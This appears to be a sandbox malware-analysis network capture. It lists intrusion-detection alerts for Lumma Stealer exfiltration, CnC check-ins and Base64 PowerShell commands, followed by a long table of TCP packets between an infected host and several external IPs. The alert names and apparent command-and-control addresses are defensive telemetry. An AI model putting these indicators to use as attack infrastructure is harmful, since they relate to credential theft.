2024-12-05T15:03:30.853343+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49752	104.21.8.82	443	TCP
2024-12-05T15:03:32.191938+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49772	104.21.8.82	443	TCP
2024-12-05T15:03:38.588720+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49787	104.21.8.82	443	TCP
2024-12-05T15:03:43.367988+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49798	104.21.8.82	443	TCP
2024-12-05T15:03:50.583271+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49817	104.21.8.82	443	TCP
2024-12-05T15:03:57.709841+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49834	104.21.8.82	443	TCP
2024-12-05T15:04:01.159495+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49834	104.21.8.82	443	TCP
2024-12-05T15:04:02.771263+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49848	104.21.71.43	443	TCP
2024-12-05T15:04:03.403247+0100	2025010	ET MALWARE Powershell commands sent B64 1	1	104.21.71.43	443	192.168.2.6	49848	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 15:03:11.561964035 CET	49719	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:11.561990976 CET	443	49719	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:11.562074900 CET	49719	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:11.591624022 CET	49719	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:11.591643095 CET	443	49719	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:12.812585115 CET	443	49719	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:12.812697887 CET	49719	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:12.814296961 CET	49719	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:12.814313889 CET	443	49719	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:12.814620972 CET	443	49719	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:12.864290953 CET	49719	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:12.926337004 CET	49719	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:12.926402092 CET	49719	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:12.926465988 CET	443	49719	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:16.163718939 CET	443	49719	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:16.163841009 CET	443	49719	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:16.167928934 CET	49719	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:16.423904896 CET	49719	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:16.423927069 CET	443	49719	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:16.552485943 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:16.552519083 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:16.552589893 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:16.552928925 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:16.552942038 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:17.768348932 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:17.768424988 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:17.769679070 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:17.769692898 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:17.769936085 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:17.774493933 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:17.774493933 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:17.774565935 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.669321060 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.669367075 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.669395924 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.669420004 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.669477940 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.669497013 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.669542074 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.669542074 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.669564009 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.669596910 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.680675030 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.680752993 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.680759907 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.689016104 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.689066887 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.689074039 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.739403009 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.788989067 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.833138943 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.833165884 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.861973047 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.862057924 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.862137079 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.862137079 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.862246990 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.862262011 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.862277985 CET	49734	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.862282991 CET	443	49734	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.939799070 CET	49752	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.939851999 CET	443	49752	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:23.939925909 CET	49752	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.940210104 CET	49752	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:23.940222979 CET	443	49752	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:25.153666973 CET	443	49752	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:25.153772116 CET	49752	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:25.155177116 CET	49752	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:25.155188084 CET	443	49752	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:25.155435085 CET	443	49752	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:25.164197922 CET	49752	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:25.164361954 CET	49752	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:25.164402008 CET	443	49752	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:30.853353977 CET	443	49752	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:30.853451967 CET	443	49752	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:30.853526115 CET	49752	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:30.853699923 CET	49752	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:30.853720903 CET	443	49752	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:30.976807117 CET	49772	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:30.976864100 CET	443	49772	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:30.976960897 CET	49772	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:30.977411985 CET	49772	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:30.977427959 CET	443	49772	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:32.191797018 CET	443	49772	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:32.191937923 CET	49772	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:32.193461895 CET	49772	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:32.193473101 CET	443	49772	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:32.193716049 CET	443	49772	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:32.195044041 CET	49772	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:32.195216894 CET	49772	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:32.195251942 CET	443	49772	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:32.195311069 CET	49772	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:32.239331961 CET	443	49772	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:37.151746988 CET	443	49772	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:37.151870966 CET	443	49772	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:37.151933908 CET	49772	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:37.152100086 CET	49772	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:37.152115107 CET	443	49772	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:37.372996092 CET	49787	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:37.373028994 CET	443	49787	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:37.373094082 CET	49787	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:37.373455048 CET	49787	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:37.373472929 CET	443	49787	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:38.588592052 CET	443	49787	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:38.588720083 CET	49787	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:38.590747118 CET	49787	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:38.590770006 CET	443	49787	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:38.591053963 CET	443	49787	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:38.592273951 CET	49787	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:38.592401028 CET	49787	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:38.592436075 CET	443	49787	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:38.592509031 CET	49787	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:38.592524052 CET	443	49787	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:41.512744904 CET	443	49787	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:41.512839079 CET	443	49787	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:41.512907028 CET	49787	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:41.513132095 CET	49787	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:41.513144970 CET	443	49787	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:42.036504984 CET	49798	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:42.036557913 CET	443	49798	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:42.036657095 CET	49798	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:42.037128925 CET	49798	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:42.037142992 CET	443	49798	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:43.367856979 CET	443	49798	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:43.367988110 CET	49798	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:43.369618893 CET	49798	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:43.369627953 CET	443	49798	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:43.369874001 CET	443	49798	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:43.371397018 CET	49798	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:43.371526957 CET	49798	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:43.371531010 CET	443	49798	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:48.531564951 CET	443	49798	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:48.531677008 CET	443	49798	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:48.531899929 CET	49798	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:48.532867908 CET	49798	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:48.532886982 CET	443	49798	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:49.367386103 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:49.367436886 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:49.367521048 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:49.368010998 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:49.368026972 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.583161116 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.583271027 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.584984064 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.584990978 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.585230112 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.587047100 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.587852955 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.587887049 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.587966919 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.587996960 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.588290930 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.588320971 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.589107037 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.589148045 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.589267015 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.589302063 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.589467049 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.589514017 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.589523077 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.589530945 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.589658022 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.589695930 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.589714050 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.589823008 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.589843988 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.631333113 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.633985996 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.634027004 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.634049892 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.634063005 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.634083033 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.634105921 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.634118080 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.634124041 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:50.634140015 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:50.634149075 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:56.429853916 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:56.429951906 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:56.430028915 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:56.430229902 CET	49817	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:56.430249929 CET	443	49817	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:56.464653015 CET	49834	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:56.464685917 CET	443	49834	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:56.464776993 CET	49834	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:56.465085030 CET	49834	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:56.465095043 CET	443	49834	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:57.709733009 CET	443	49834	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:57.709841013 CET	49834	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:57.800740004 CET	49834	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:57.800759077 CET	443	49834	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:57.801140070 CET	443	49834	104.21.8.82	192.168.2.6
Dec 5, 2024 15:03:57.805067062 CET	49834	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:57.805083036 CET	49834	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:03:57.805140972 CET	443	49834	104.21.8.82	192.168.2.6
Dec 5, 2024 15:04:01.159507990 CET	443	49834	104.21.8.82	192.168.2.6
Dec 5, 2024 15:04:01.159605026 CET	443	49834	104.21.8.82	192.168.2.6
Dec 5, 2024 15:04:01.159682989 CET	49834	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:04:01.159858942 CET	49834	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:04:01.159873009 CET	443	49834	104.21.8.82	192.168.2.6
Dec 5, 2024 15:04:01.159887075 CET	49834	443	192.168.2.6	104.21.8.82
Dec 5, 2024 15:04:01.159893036 CET	443	49834	104.21.8.82	192.168.2.6
Dec 5, 2024 15:04:01.550281048 CET	49848	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:01.550299883 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:01.550403118 CET	49848	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:01.550802946 CET	49848	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:01.550813913 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:02.771153927 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:02.771262884 CET	49848	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:02.773108959 CET	49848	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:02.773116112 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:02.773376942 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:02.774684906 CET	49848	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:02.819336891 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:03.393207073 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:03.393259048 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:03.393295050 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:03.393326998 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:03.393357038 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:03.393392086 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:03.393414021 CET	49848	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:03.393434048 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:03.393465996 CET	49848	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:03.403057098 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:03.403127909 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:03.403167009 CET	49848	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:03.403223038 CET	49848	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:03.434391975 CET	49848	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:03.434406042 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:03.434417963 CET	49848	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:03.434422970 CET	443	49848	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:10.190217018 CET	49869	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:10.190248013 CET	443	49869	180.163.242.102	192.168.2.6
Dec 5, 2024 15:04:10.190324068 CET	49869	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:10.197206974 CET	49869	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:10.197218895 CET	443	49869	180.163.242.102	192.168.2.6
Dec 5, 2024 15:04:12.013375998 CET	443	49869	180.163.242.102	192.168.2.6
Dec 5, 2024 15:04:12.013539076 CET	49869	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:12.015594959 CET	49869	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:12.015604019 CET	443	49869	180.163.242.102	192.168.2.6
Dec 5, 2024 15:04:12.015858889 CET	443	49869	180.163.242.102	192.168.2.6
Dec 5, 2024 15:04:12.026016951 CET	49869	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:12.071331024 CET	443	49869	180.163.242.102	192.168.2.6
Dec 5, 2024 15:04:12.728693008 CET	443	49869	180.163.242.102	192.168.2.6
Dec 5, 2024 15:04:12.728794098 CET	443	49869	180.163.242.102	192.168.2.6
Dec 5, 2024 15:04:12.728846073 CET	49869	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:12.732568026 CET	49869	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:13.193207979 CET	49878	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:13.193238974 CET	443	49878	180.163.242.102	192.168.2.6
Dec 5, 2024 15:04:13.193345070 CET	49878	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:13.193744898 CET	49878	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:13.193757057 CET	443	49878	180.163.242.102	192.168.2.6
Dec 5, 2024 15:04:20.557950974 CET	49878	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:20.599333048 CET	443	49878	180.163.242.102	192.168.2.6
Dec 5, 2024 15:04:20.632793903 CET	443	49878	180.163.242.102	192.168.2.6
Dec 5, 2024 15:04:20.632869959 CET	49878	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:20.632893085 CET	49878	443	192.168.2.6	180.163.242.102
Dec 5, 2024 15:04:21.708996058 CET	49896	443	192.168.2.6	103.235.47.188
Dec 5, 2024 15:04:21.709029913 CET	443	49896	103.235.47.188	192.168.2.6
Dec 5, 2024 15:04:21.709127903 CET	49896	443	192.168.2.6	103.235.47.188
Dec 5, 2024 15:04:21.709461927 CET	49896	443	192.168.2.6	103.235.47.188
Dec 5, 2024 15:04:21.709475994 CET	443	49896	103.235.47.188	192.168.2.6
Dec 5, 2024 15:04:23.915973902 CET	443	49896	103.235.47.188	192.168.2.6
Dec 5, 2024 15:04:23.916224957 CET	49896	443	192.168.2.6	103.235.47.188
Dec 5, 2024 15:04:23.916234016 CET	443	49896	103.235.47.188	192.168.2.6
Dec 5, 2024 15:04:23.916290045 CET	49896	443	192.168.2.6	103.235.47.188
Dec 5, 2024 15:04:23.918689966 CET	49896	443	192.168.2.6	103.235.47.188
Dec 5, 2024 15:04:23.918698072 CET	443	49896	103.235.47.188	192.168.2.6
Dec 5, 2024 15:04:23.919007063 CET	443	49896	103.235.47.188	192.168.2.6
Dec 5, 2024 15:04:23.920509100 CET	49896	443	192.168.2.6	103.235.47.188
Dec 5, 2024 15:04:23.963337898 CET	443	49896	103.235.47.188	192.168.2.6
Dec 5, 2024 15:04:24.471349001 CET	443	49896	103.235.47.188	192.168.2.6
Dec 5, 2024 15:04:24.479569912 CET	443	49896	103.235.47.188	192.168.2.6
Dec 5, 2024 15:04:24.479624033 CET	49896	443	192.168.2.6	103.235.47.188
Dec 5, 2024 15:04:24.479641914 CET	443	49896	103.235.47.188	192.168.2.6
Dec 5, 2024 15:04:24.479682922 CET	49896	443	192.168.2.6	103.235.47.188
Dec 5, 2024 15:04:24.496428967 CET	443	49896	103.235.47.188	192.168.2.6
Dec 5, 2024 15:04:24.496488094 CET	49896	443	192.168.2.6	103.235.47.188
Dec 5, 2024 15:04:24.497092962 CET	49896	443	192.168.2.6	103.235.47.188
Dec 5, 2024 15:04:24.497139931 CET	443	49896	103.235.47.188	192.168.2.6
Dec 5, 2024 15:04:24.497188091 CET	49896	443	192.168.2.6	103.235.47.188
Dec 5, 2024 15:04:25.505652905 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:25.505682945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:25.505795956 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:25.506092072 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:25.506107092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:26.719995022 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:26.720125914 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:26.721723080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:26.721735954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:26.721982002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:26.723776102 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:26.771332979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.430356979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.430408001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.430438995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.430463076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.430488110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.430556059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.430607080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.430641890 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.433018923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.441533089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.441586971 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.441606045 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.450061083 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.450129986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.450144053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.490137100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.550101995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.598737955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.598761082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.625849962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.625941992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.625962973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.634871006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.634927988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.634946108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.634964943 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.634998083 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.642462015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.649950027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.650021076 CET	49906	443	192.168.2.6	104.21.71.43
